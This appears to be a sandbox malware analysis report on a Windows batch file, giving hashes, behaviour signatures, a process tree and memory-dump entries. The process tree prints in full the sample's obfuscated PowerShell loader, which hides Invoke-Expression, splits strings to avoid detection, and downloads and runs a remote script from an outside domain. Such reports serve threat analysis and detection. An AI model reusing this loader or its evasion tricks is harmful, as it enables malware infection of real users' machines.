Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/02/2024, 05:43

General

  • Target

    68d81cc60a1f99e45561f2c68cdc955c5601942032444234458018a541c482e7.bat

  • Size

    759B

  • MD5

    97ba5c35c67fbb4979b3ae73d05d6005

  • SHA1

    b854decd7517bb5162d3a4d1a5da86d9fc6189f9

  • SHA256

    68d81cc60a1f99e45561f2c68cdc955c5601942032444234458018a541c482e7

  • SHA512

    55b20b55562de161ddfdf8b8e3fa0244201ae04c166700502c72fe94950580ee06a37723293e901274d2b0c28dddfd40c2f06c83f39763eeab285f55506bbeb8

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\68d81cc60a1f99e45561f2c68cdc955c5601942032444234458018a541c482e7.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','Str','ing';$rotJ=($rot -join '');$bnt='https','://antuofermo.it/G12.txt';$bntJ=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bntJ);z($mv)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4480

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gqrgh2my.omi.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4480-11-0x000002706DD60000-0x000002706DD70000-memory.dmp

    Filesize

    64KB

  • memory/4480-10-0x00007FFBF0B70000-0x00007FFBF1631000-memory.dmp

    Filesize

    10.8MB

  • memory/4480-9-0x000002706EDF0000-0x000002706EE12000-memory.dmp

    Filesize

    136KB

  • memory/4480-12-0x000002706DD60000-0x000002706DD70000-memory.dmp

    Filesize

    64KB

  • memory/4480-13-0x000002706DD60000-0x000002706DD70000-memory.dmp

    Filesize

    64KB

  • memory/4480-14-0x000002706DD60000-0x000002706DD70000-memory.dmp

    Filesize

    64KB

  • memory/4480-17-0x00007FFBF0B70000-0x00007FFBF1631000-memory.dmp

    Filesize

    10.8MB